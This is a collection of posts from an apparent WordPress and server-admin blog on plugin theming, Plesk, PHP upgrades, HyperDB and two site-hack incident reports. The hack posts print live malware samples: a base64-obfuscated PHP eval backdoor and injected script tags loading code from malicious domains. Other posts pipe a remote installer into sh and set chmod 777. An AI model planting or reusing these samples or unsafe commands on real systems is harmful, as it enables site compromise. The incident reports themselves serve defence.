I’ve recently done some research on Affiliate Programmes that integrate with WP Ecommerce.

I came across the excellent WP Affiliate Platform from Tips and Tricks HQ – it works beautifully and is very easy to setup. At only $39 it’s a steal – considering how much business it can generate for you. Thanks Ruhul!

I wanted to make the front end integrate with my original site – which is just like tweaking a WordPress Theme. Let me talk you through it in this article.

Please note: I’ve written this with version 4.1.9 in mind – things may have changed since then.

First off, there’s plenty of good information on the well documented site under “How to customise” section. I won’t repeat that here and instead focus on a few additions.

The files I refer to herein live by default in /wp-content/plugins/wp-affiliate-platform/affiliates/

How to change the Header into a Logo

If you’d like to replace the <h1> tags from a plain font into a header graphic, open the header.php file and find this bit of code:

<!-- Start Header -->
<div id="header">
<h1><?php echo get_option('wp_aff_site_title'); ?></h1>
</div>
<!-- End Header -->

Take out the entire line containing the <h1> tag and replace it with something like this:

<img src="http://yourheaderimage.jpg>

If you’d like this banner to link someplace, wrap it in an <a> tag like this:

<a href="http://www.yoursite.com><img src="http://yourheaderimage.jpg></a>

If this places your header too far at the top, insert a <br /> in front of it. Job done!

How to change links in the Footer

One thing I’d like to see at the bottom is a link back to my original site. Nothing’s easier than that – open the footer.php file and find this bit of code:

<!-- Start Footer -->
<div id="footer">
<p style="float:left;">
<a href="index.php" title="<?php echo get_option('wp_aff_site_title'); ?>">
<?php echo get_option('wp_aff_site_title'); ?></a> &copy; <?php echo date("Y"); ?> - All rights reserved</p>
<p style="float:right;">Powered by&nbsp;&nbsp;<a target="_blank" href="http://tipsandtricks-hq.com/?p=1474">WP Affiliate Platform</a></p>
<div></div>
</div>
<!-- End Footer -->

I’ll insert one line like this just before the closing </p> tag in line 5:

... All rights reserved. Back to <a href="http://www.yoursite.com">Main Site</a></p>

On this note, Tips and Tricks HQ have a great affiliate programme. Sign up here and see this plugin in action. Once you’ve done that, you can amend the link in your own affiliate plugin to your affiliate link and take full advantage of the tiered comission structure.

Super Sweet!

I don’t recommend taking the link to WP Affiliate Platform out completely. I believe in “Credit where Credit is due” – a lot of hard work has gone into this plugin, so why not spread the word about it. Only do this if a client is explicitely asking you to remove the attribution.

Happy Sales!

I’m currently building a WordPress Hosting Service where customers get hosting with WordPress pre-installed.

I also want to offer several pre-installed Themes and Plugins that I’ll deploy from the Plesk Back End using Application Vault.

WordPress is already available as a free repository, however it does take some time for new versions to be made available – and of course my Themes and Plugins aren’t there either.

So how can I amend or build a new Plesk Application Vault repository? Let’s find out in this article, in which I’m describing all my findings

Where does Plesk save repositories?

It does this in <plesk-install>/var/cgitory – so it depends on your distribution. The best way to find out is by issuing

whereis psa

and be told by your system. You’ll want to look in the second path it gives you. Then amend the above “/var/cgitory” to that.

On CentOS for example, the full path is

/usr/local/psa/var/cgitory

In here you’ll find sub-folders for each installed (and unpacked) repository – say “WordPress-3.0-3″. The naming convention describes the application, product version and release version of what’s contained in the repository.

In each folder you’ll find several other subfolders such as scripts, forms, apps etc. that are used during the installation of the repo onto your domains.

The htdocs folder contains files that are actually installed when you deploy the repository. Simply adding/removing/changing files in this folder will change the way your Application’s static content is installed.

If you’re updating this folder with the latest version of WordPress for example and add a couple of themes here, they’ll be immediately available on the domain upon deployment.

Sweet!

How to build a repository for use in Plesk?

That’s a bit more complex… I’ll tell you as soon as I find out

In the meantime, read the official Parallels Application Vault Developers Guide.

With the recent end-of-life announcement it becomes clear that WordPress isn’t going to support PHP 5.1.6. for much longer anymore.

CentOS 5 however comes pre-compiled with PHP 5.1.6 and there are no plans to change this in the current version.

For simple folk like me it’s unimaginable to re-compile the entire OS from source or switch to a different distribution altogether. yum doesn’t help much by default – unless you’re looking in the right repositories.

Help is at hand, courtesy of the 1and1 Knowledge Base. Without further ado, here’s how to upgrade PHP on CentOS 5:

You’ll need both wget and yum installed on your machine for this to work. You can type in either command and see if you get an explanation. If you get a “command not found” message, you’ll have to install the missing packages first.

First let’s check which PHP Version your server is running:

php -v

If the answer is 4.x or 5.1.x it’s time to upgrade.

Let’s install the Atomic repository so yum can access packages. The autoinstaller will do the trick:

wget -q -O - www.atomicorp.com/installers/atomic | sh

From now on, if you use yum, it’ll look at other sources. Try this:

yum update php

This should install the latest version on your system. It can happen that you’ll get several error messages when you run this command. That’s nothing to worry about, it just means that some of your other packages may need upgrading too for a new PHP to work. What better time to upgrade everything than now:

yum update

This command will update everything on your machine, incuding PHP.

Finally, let’s see that this has done what we wanted it to do – check the PHP version again:

php -v

Is it a later version than it was? Good!

Final thoughts:

You may want to reboot your server for good measure:

/sbin/reboot

Enjoy

It's much easier to see a nice diagramme rather than a cryptic line of text from the command line interface

I’m managing a server for Loft London. They’re using it as FTP site for various clients, so I wanted to provide an easy way for them to keep an eye on how much space is used and how much is left.

I’ve done some digging and found this super handy PHP Pie Chart generator by Rasmus Peters. You can call it just like an image, give it some parameters and generate a very cool pie chart diagramme.

My challenge was to use it dynamically by calling the df command on th ecommand line and convert that into a pie chart. Here’s how I did it:

Here’s the code you need

First, save the code on Rasmus’ site as a file called piechart.php and save it in the same directory as the file you’d like to call it from.

Then use this code to read the actual free disk space from your partition (in my case dev6) and split the string into the values you want to use. Save this as a .php file:

<?php
$input = "df -h /dev/hda6";
$output = shell_exec($input);
// echo $output;
$pieces = explode(' ',$output);
// print_r($pieces);
$chopped = (substr($pieces[33],0,-1)/4.06);
?>

Then you can call the piechart file with your values just like an image:

<img src="http://yourdomain.com/piechart.php?data=
<?php echo $chopped . '*' . (100-$chopped); ?>&label=Used Space*Free Space" />

The Code Explained

The first two statement give the actual linux command to the shell ($input) and reads its answer ($output). df -h reads the free disk space in Linux, and /dev/hda6 specifies the partition we’re interested in. You can use echo $output to see how it looks.

Then we’ll create an array ($pieces) of the output from this command using the explode() function. You can use the print_r() function to see the contents of this array – that way you can pick the value you’re after.

In my case the “used space” is in $pieces[33] – however it’s displayed with a “G” at the end (as in 100G). What we need is a number, so we’re using the substr() function to chop off the last digit.

I’m giving my client 406GB of space with a hard clip on the server, so our “free space” is therefore 406 minus the “used space”. In $chopped we’re generating this and divide it by 406 to get a percentage value.

When we call the piechart using the <img src… > statement, we’re giving it the following values:

• used space
• a seperator (*)
• free space (i.e. 100-$chopped)
• and two labels (Used Space and Free Space)

The script converts all this into a convenient .jpg image which is sent back to the browser.

I’ve had this issue before: you get a new server, the image is a few revisions behind the current release and your first line of business is to upgrade the system.

A few minutes later you check and instead and Plesk refuses to start. Bugger. Now what?

My Customer Support Gurus always know what to do, but in an effort to not disturb them at night here’s what they did to make it all work again. These instructions work on a CentOS 5 system with Plesk 9.0.1 installed.

/usr/local/psa/admin/sbin/autoinstaller --select-release-current --show-components | grep upgrade

tail -f /var/log/sw-cp-server/error_log

uname -a

cat /etc/redhat-release

wget -c http://kb.parallels.com/Attachments/12669/Attachments/sw-cp-server-1.0-6.201004011130.centos5.x86_64.rpm

rpm -Uhv sw-cp-server-1.0-6.201004011130.centos5.x86_64.rpm

/etc/init.d/psa stopall

/etc/ini.d/psa start

Voila – Plesk works again

So I’ve expanded my server arsenal to a fifith machine with Strato in Germany. Sadly they only offer an OpenSUSE installation bundled with Plesk (in German – unchangeable to English).

What I really wanted was another CentOS system though, which Strato offer – but without Plesk installed.

After a bit of hackage, I found out that it’s very easy to install Plesk from the command line via the Parallel’s Auto Installer.

These instructions should work on any distribution of Linux – just make sure you download the right auto installer package from the Parallels site (you need to create an account with them and log in for this link to work).

At the time of writing, Plesk 9.5.2 is the latest version.

• login as “root” on your machine via SSH
• download the latest auto-installer for your distribution: wget http://download1.parallels.com/Plesk/PPP9/CentOS5/parallels_installer_v3.6.0_build100407.15_os_CentOS_5_x86_64
• make this file executable: chmod 777 par*
• run the installer: ./par*

You’ll be presented with several installtion options (like local, Plesk server, etc).

Note that to proceed in this installer, you press “n” followed by return. Sometimes there’s an option you can choose, in which case you select it (say “1″ followed by return), and then “n” followed by return. Took me a few tires to get this going.

Once you’ve made your choices, the installation will begin. It’s fun to watch in full screen and makes you look like a full fledged hacker.

Post-Installation

When the install script finishes the psa service is already running (you can verify this with the following command: service psa status) – there’s no need to reboot your server. Nice!

Now login to Plesk via the web browser with the following default credentials:

User Name: admin
Password: setup

Ples will ask you to change this password and fill out the owner details.Once you’re done, you’ll enjoy a fully fledged version of Plesk.

This is however limited to one domain only – so if you have a Plesk License Key you should upload this via License Management – Upload Key.

Congratulations – Plesk should now be running

Just when I though the Drunkjeans Hack had passed over, there’s another attack on a couple of my sites. I’ll call it the “Comber 38″ hack. These hacks are most likely related.

What does this hack do?

With Comber 38, your sites are turned into Viagra Promo sites. Search for “viagra hack” and you’ll see how common this problem is.

Even though your home page may still work, the hackers use your site as a storage for images that can be pulled in from other sites, hence poncing off your server’s bandwidth.

If these files are linked to, your site is redirecting to some viagra site. It gioves the hackers and spammers direct link to a clean site rather than having to use their spam domains directly. If it wouldn’t be so evil, you ould argue it’s a pretty bright idea…

In fact, here’s what’s in one of those files:

<html>
<head>
<script>
location = 'http://cheapviagrarx.com/';
</script>
</head>
</html>
<script src=http://pkd.home.pl/regietow/button_krakow.php >
</script>

Apart from that, I’ve also discovered the following code at the top of my index.php file:

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnczRzJykpe2Z1bmN0aW9uIHM0cygkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzQnJaQzVvYjIxbExuQnNMM0psWjJsbGRHOTNMMkoxZEhSdmJsOXJjbUZyYjNjdWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBzNHMyKCRhLCRiLCRjLCRkKXtnbG9iYWwkczRzMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkczRzMSkpY2FsbF91c2VyX2Z1bmMoJHM0czEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3M0cycpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ3M0cycpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRzNHNsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdzNHMyJykpIT0nczRzMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>

I removed it – but after a few hours it was back as this:

<? php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygncHh1eCcpKXtmdW5jdGlvbiBweHV4KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDNCclpDNW9iMjFsTG5Cc0wzSmxaMmxsZEc5M0wySjFkSFJ2Ymw5cmNtRnJiM2N1Y0dod0lENDhMM05qY21sd2REND0nKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzLDEpO2Vsc2VpZihzdHJwb3MoJHMsJzxhJykpJHM9JGEuJHM7cmV0dXJuJHM7fWZ1bmN0aW9uIHB4dXgyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHh1eDE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHB4dXgxKSljYWxsX3VzZXJfZnVuYygkcHh1eDEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B4dXgnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdweHV4Jyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JHB4dXhsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdweHV4MicpKSE9J3B4dXgyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>

After a while Google will determine infected sites as “not safe” and StopBadware.org will onpass this data to Firefox which in turn will block your site from being viewed.

Your hosting company may close down your site until you remove the thread.

What can we do about this, Cap’n?

At the moment, I assume that deleting the files will clear up the problem. Once that’s done, all we can hope for is that attacks will stay away until we can determine which security exploit (probably in Apache) has to be fixed. This is getting ridiculous!

If your site has been reported as “not safe”, you can help matters by requesting a review here and let StopBadware.org know that your site is no longer used for malicious activities.

Hack Variations

I’ve seen the following variations of these files. Please check your sites carefully if you see any of these or similar files (in which case, please leave a comment):

comber38.html / comber38.jpg
veld27.html/ veld27.jpg
spooky98.html / spooky98.jpg
hobnob59.thml / hobnob59.jpg
whoosh80.html / whoosh80.jpg
flight34.html / flight34.jpg
tiara30.html / tiara30.jpg
vista46.html / vista46.jpg
botch11.html / botch11.jpg
fetid47.html / fedif47.jpg
sullen50.html / sullen50.jpg
plea30.html / plea30.jpg
load38.html (interestingly without a .jpg variant)
craggy37.html / craggy 36.jpg
oxeye36.html
cradle60.html
sacred57.html
jacket78.html
orrery12.html
royal13.html
zigzag74.html
chance41.html


Conclusion

Thesse are troubling times, my friends! Please contribute below if your site has been compromised, and especially if you know how we can all prevent this from happening in the future.

Thanks

Saturday morning a couple of my sites were hacked by something I’ve not found a lot of info about. I’ll call it The Drunkjeans Hack. I’ve also found this being inserted from other domains (see below).

Some idiot has inserted a piece of code into the main index.php file that looks like this:

<script type="text/javascript" src="http://drunkjeans.com:8080/Cc.js"></script>
<!--bc02f73b8cefc99fd497a0d96d646c0e-->

The first line calls a JavaScript file on the given domain, while the second line is a unique identifier (consider yourself an individual).

What this thing does is unclear, but depending on how far the hackers get with this, it could be anything from a wonky homepage to the entire site being down. I did some digging and here’s what I found out:

This thing attacks all browser default files as well as .js files. Literally ALL of them in your site, including sub directories. Browser default files are index.php, index.htm, index.html, start.thm, start.html et cetera.

In WordPress, there’s an index.php in your root and one in your theme’s directory.

There are also several .js files cattered all over the installation, including plugin and theme subdirectories so it can be a rather lenghty search…

The good news is that it appears that the exploit does not seem to mess with your database from what I can tell.

What does it do?

The Hack attaches a piece of code that loads a Javascript whereever it can. What it does is unclear (I tried to download one for closer inspection but it didn’t work). It does this either as a <script> tag or a JavaScript document.write statement.

A good example for this is the Next Gen Gallery Plugin, which uses the Shutter Reloaded library. Here’s what I found at the end of the shutter-reloaded.js file (in wp-content/plugins/nextgen-gallery/shutter/):

document.write('<s'+'cript type="text/javascript" src="http://oldgoal.com:8080/Database.js"></scr'+'ipt>');

Why does it do that?

I think I’ve discovered the big idea now: on a shared hosting package with Strato in Germany I found some files that redirected the site to several Viagra Shops (like Superviagraonline.com – grab a bargain while it’s hot).

How can we kill it, Cap’n?

Looks like deleting the code and saving the file is doing a good job. The code is always at the end of the aforementioned files so it’s fairly easy to find – once you know which file it’s attached itself to. Use Sophos or the free version of AVG for clues.

If you want to find EVERY file on your site that’s infected issue this server command in your home directory:

grep -r 'roundstorm.com' *

chown root index.php
chmod 444 index.php

PHP Finder Script

I figured that many of us don’t have the liberty of sheel access, so I’ve devised this little php script that should do the hard work of finding infected files for you.

Copy the code below into a new text file, call it test.php and upload to the root directory of your site. Then call it in a browser (say by http://www.yoursite.com/test.php) and the script will get to work. This can take a few minutes – be patient.

<?php
$input = "grep -r " . "'" . "roundstorm.com" . "'" . " *";
echo $input;
$output = shell_exec($input);
echo "<pre>#$output</pre>";
?>

Replace the “roundstorm.com” domain with whatever bug you think you have. To be 100% sure, run the script several times with all the domain variations listed below.

Variations

So far I’ve found the following code fragments. Your site is only ever affected by one of these domains so that’s the one to search your files for.

A WHOIS lookup reveals that these domains were registered on the 7th of July 2010 in Rubaix, France via Bizcn.com (that’s a Chinese ISP and Hosting Provider).

• Drunkjeans.com

<script type="text/javascript" src="http://drunkjeans.com:8080/Cc.js"></script>
<!--bc02f73b8cefc99fd497a0d96d646c0e-->

• Roundstorm.com

<script type="text/javascript" src="http://roundstorm.com:8080/Raster_Graphic.js"></script>
<!--8a4dc551741b1d10ebb7f9be14f2fd86-->

<script type="text/javascript" src="http://roundstorm.com:8080/Online.js"></script>
<!--aece678dacd5049fe548c4340509b03d-->

What’s funny about this vairation is that apparnetly McAfee have classed this domain as SAFE… why am I not surprised?

• Tightsales.com

<script type="text/javascript" src="http://tightsales.com:8080/Gnutella.js"></script>
<!--ff2dbb7d5af9170e22a852d7c5329dd4-->

• Oldgoal.com

<script type="text/javascript" src="http://oldgoal.com:8080/Database.js"></script>
<!--c7be90541d124051804d7e894f2ca5f8-->

• Ionicclock.com

<script type="text/javascript" src="http://ionicclock.com:8080/P2P.js"></script>
<!--4af2b43758e09b79597726bfba081cdb-->

• Hugejar.com

<script type="text/javascript" src="http://hugejar.com:8080/Bandwidth.js"></script>
<!--fa1321ff9c78ec6db9352bd10fba5ee4-->

• Pantscow.ru

<script type="text/javascript" src="http://pantscow.ru:8080/Null.js"></script>
<!--4959c803f900d6a68b1b0140227118ba-->

• Malepad.ru

document.write('<s'+'cript type="text/javascript"
src="http://malepad.ru:8080/QuickTime.js"></scr'+'ipt>');

• Galslime.com

In the WP backend, I could see something being called from galslime.com – not sure which file is compromised but I’m determined to find out.

Further Reading

Some forum posts I found about this exploit:

• http://stackoverflow.com/questions/3209497/another-url-link-on-my-website
• http://www.r10.net/dersler/677403-wordpress-temaniza-admin-panelinden-ayar-sayfasi-ekleyin.html (in Turkish)%
• http://www.sophos.com/blogs/sophoslabs/?p=10417 at Sophos

I’m as excited as a kid in a candystore! I’ve heard a lot about HyperDB and what can be done with it, and I’ve been thinking how cool it would be to implement it on the sites I’m hosting. And today my friends I’m proud to say that IT WORKS A TREAT!

Hyper What?

Let me tell you a bit about HyperDB. It’s another super cool Automattic project fronted by Matt, Andy, Ryan and Blogluftwaffe. It’s a rather complex plugin for WordPress that will let you specify more than one Database Server. In a high production environment your one and only Database Server can get busy or even crash and die – so all websites would be down until you restart it.

HyperDB solves this by letting you specify several servers in the handy db-config.php file. You can set one as master server for write queries and several others for read queries. This means that the master server doesn’t get bothered with read queries while several other servers can deal with those. If one read server dies, the others can pick up the slack. It’s genius!

The Experiment

Before a general roll-out to live sites a little test might be an idea. Currently I have three servers at my disposal and a dev site for testing. All servers are running CentOS 5 in a mixture of 32-bit and 64-bit installations, with Plesk 9.3/9.5 on them. Here’s my setup:

• Server 1 (Hubert) hosts the content. This server can be defined as “localhost” in wp-config.php. We’ll make him a Database Slave later.
• Server 2 (Drexel) is the Database Master.
• Server 3 (Verslpzy) is another Database Slave.

Let’s replicate some data

Before we start, I want to make sure that I can test which server is chosen by HyperDB at any given time. The easiest way to do this is to replicate the current database to all servers using the following commands.

In a production environment you’d setup proper database replication for all databases on the master. In this case though, I’m only working with one replicated database and I don’t want it to be updated automatically – hence I’m going for a manual approach.

Let’s run the following command on Server 1:

mysqldump -u root -pyourpassword testdatabase > testdb.sql

Let’s move this file to Server 1

rsync root@server1.com:/testdb.sql /temp

Now we’ll pop it into an existing database of the same name with the same privileges – (I’ve already created this via phpMyAdmin becasue I’m lazy):

mysql -u root -pyourpassword testdatabase < testdb.sql

We’ll do the same on Server 3 so we have the exact database 3 times.

Identifying those databases

Now I need to write a post on my dev site stating which Database Server we’re looking at. All I need is a good headline really that says “Looking at Server 1″. So far so good.

Next we’ll edit the wp-config file and change “localhost” to our next Database Server (let’s say it’s server2.com – obviously it’ll be the IP address or domain of your server 2). Reload the front page of your dev site and magically that “Looking at Server 1″ message has disappeared. Just what we wanted

If at this point you get the “Error establishing Database Connection” it means some of your details in wp-config aren’t correct, or your replication didn’t work. Could be the replicated server hasn’t got the right privileges defined in MySQL. I won’t go into detail about that here though.

Let’s write a new post that says “Looking at Server 2″. Publish and refresh. Nice.

On to change the wp-config again to the third database server, and over to writing a new post entitled “Looking at Server 3″.

All we’ve done now is amend each single database slightly – and more importantly make this change visible on our front page.

Bring on HyperDB

Now comes the fun part: let’s bring in the star of the show.

Download HyperDB and unpack it. Upload db.php into your wp-content directory – this alone will activate it. It’s super simple steps that made WordPress great!

Let’s have a look at the db-config.php file before we upload it. It’s already pre-configured to work with whatever database host is configured in wp-config.php via this bit of code here:

$wpdb->add_database(array(
'host'     => DB_HOST,     // If port is other than 3306, use host:port.
'user'     => DB_USER,
'password' => DB_PASSWORD,
'name'     => DB_NAME,
));

Note that you can change these values to override the wp-config settings. This code defines that one server as database master/slave for both reading and writing. A bit further down, similar bit of code re-defines the server as a read-only slave:

$wpdb->add_database(array(
'host'     => DB_HOST,     // If port is other than 3306, use host:port.
'user'     => DB_USER,
'password' => DB_PASSWORD,
'name'     => DB_NAME,
'write'    => 0,
'read'     => 1,
'dataset'  => 'global',
'timeout'  => 0.2,
));

Because this is defined as an array, you can copy this bit of code for as many Database Slaves as you’d like to setup. All you have to do is amend the DB_HOST constant with your server’s domain name or IP address like so:

$wpdb->add_database(array(
'host'     => 'server2.com',     // If port is other than 3306, use host:port.
'user'     => DB_USER,
'password' => DB_PASSWORD,
'name'     => DB_NAME,
'write'    => 0,
'read'     => 1,
'dataset'  => 'global',
'timeout'  => 0.2,
));

or like so:

$wpdb->add_database(array(
'host'     => '192.168.0.101',     // If port is other than 3306, use host:port.
'user'     => DB_USER,
'password' => DB_PASSWORD,
'name'     => DB_NAME,
'write'    => 0,
'read'     => 1,
'dataset'  => 'global',
'timeout'  => 0.2,
));

Then just copy the same bit of code underneath and amend the host again – say like this:

$wpdb->add_database(array(
'host'     => '192.168.0.102',     // If port is other than 3306, use host:port.
'user'     => DB_USER,
'password' => DB_PASSWORD,
'name'     => DB_NAME,
'write'    => 0,
'read'     => 1,
'dataset'  => 'global',
'timeout'  => 0.2,
));

Save the file and upload it into the same folder that holds your wp-config.php file (as described above, db.php should be uploaded into the /wp-content/ folder).

Testing Testing… is this thing on?

If you now go back to your live site and refresh the home page, you should see that your latest post is different upon every refresh. Keep refreshing, and the “Looking at Server x” messages will just keep coming. We’ve just proven that HyperDB works a TREAT with minimal effort!

Once you’ve played that game for a while, you’ll want to see what would happen in an emergency. Say “Server 1″ decides it’s time for a coffee break and crashes. We’ll simulate this by simply switching off the MySQL deamon with this command:

service mysqld stop

Go back and keep refreshing your site. “Looking at Server 1″ shouldn’t come back anymore. You can do the same with the other servers for testing, obviously at least one must be active. The command

service mysqld start

should bring MySQL back online on any given server

Conclusion

HyperDB works so well it’s scary!

Simple to implement and hyper functional. Of course you need to implement proper Database Replication for all servers to produce the same content, but that’s fairly easy to do (if you know how). Maybe we’ll find out in a forthcoming article

What I’m pleased about is that WordPress works like magic with multiple database servers and minimal effort. I can’t wait to implement this on a bigger scale on all my sites.

Since phpMyAdmin is written in php, all we need to do is change the file upload limit in the php.ini file. On CentOS and RHEL distributions, this file is located in /etc/php.ini

Find this section:


;;;;;;;;;;;;;;;;
; File Uploads ;
;;;;;;;;;;;;;;;;
; Whether to allow HTTP file uploads.
file_uploads = On
; Temporary directory for HTTP uploaded files (will use system default if not
; specified).
;upload_tmp_dir =
; Maximum allowed size for uploaded files.
upload_max_filesize = 2M


Change the 2M to something bigger, say 100M.

Please note that this is a server wide setting. You could also add this instruction to the phpmyadmin.ini file, which would make it effective only for phpMyAdmin.

Fellow WordPressers,

Looks like the big news just broke – WordPress 3.0 “Thelonious” is here (that’s named after Jazz pianist Thelonious Monk by the way). You may have seen an upgrade notice in your dashboard already that urges you to upgrade.

Which is why I thought I’d drop you a message:

DON’T UPGRADE UNTIL YOU READ THIS MESSAGE!

This is especially important to users of the WP Ecommerce Plugin, which IS NOT compatible with WordPress 3.0 (I’m thinking of Davey Lee from Western Straia here). Trust me, I’ve tried it on my Beta Site. It’s all tears and no joy from there.

Thelonious Monk

Upgrading is usually a good thing: it keeps you up-to-date with the best version yet (or so they say). Several code improvements mean your site may become a bit faster and less attractive to hackers. That’s especially useful to keep in mind if you’re running REALLY outdated versions of WordPress prior to 2.7.

But there are also downsides of an early upgrade – keeping in mind 3.0 has only been released early this morning: you may be running Plugins that aren’t working with the new version yet, which means your site may become corrupt. It’s nothing The Guru couldn’t fix for you of course, but you may run into trouble upgrading to a fresh release like this one.

My experience is this:

When a new version is released to the public, plenty of people will have a moan about this or that not working. At the same time, all the Plugin and Theme developers will get to work with hot fixes, which will result in EVEN NEWER versions of both core and Plugins within the next couple of weeks. You watch.

I’d recommend to wait another week or two and upgrade on the next Point Release.

If you’re determined to go ahead today though, please do the following:

• Install the WP Database Backup Plugin and run it. It’ll read our your database and email it to you, or it can save it on your server. Either option is fine, as long as you do the backup
• Then, upgrade all your Plugins first. If you’re running 2.9+, you can do this in bulk under Tools – Upgrade, tick all and select Upgrade from the drop down.
• Once that’s done, go ahead with the Code Upgrade (under Tools – Upgrade, or just click the message in the dashboard).

You’ll now find yourself either with your site working fine and a slightly lighter coloured back end -  or with what we call the “White Screen of Death” which is to say that one of your Plugins is not compatible yet. But let’s think positive, ey?

If you do run into problems, you know who to contact

You can check out all that’s new and good in WordPress 3.0 here, and you can read Matt Mullenweg’s release notes on the subject too.

Or you could just watch this video:

Have a lovely weekend you lovely people!

Love and Peace from The WordPress Guru

Alex Rabe’s NextGen Gallery plugin is certainly is the best there is, even though I find it a tad too complex at times. I love it though, and I use it on all my sites whenever I want to upload a batch of pictures and insert them into my posts with little hassle and great convenience.

One thing that bugs me though is the message that reads

[View with Piclens] above my thumbnails, which gives the viewer a chance to see my gallery as a slideshow. It’s a great feature.

Trouble is, nobody actually knows what PicLens is or what it does – including myself, let alone my readers.

Lucky for us, it’s fairly easy to fix – let me show you how:

The key is in a file you can find in this plugin’s folder called /view/gallery.php.

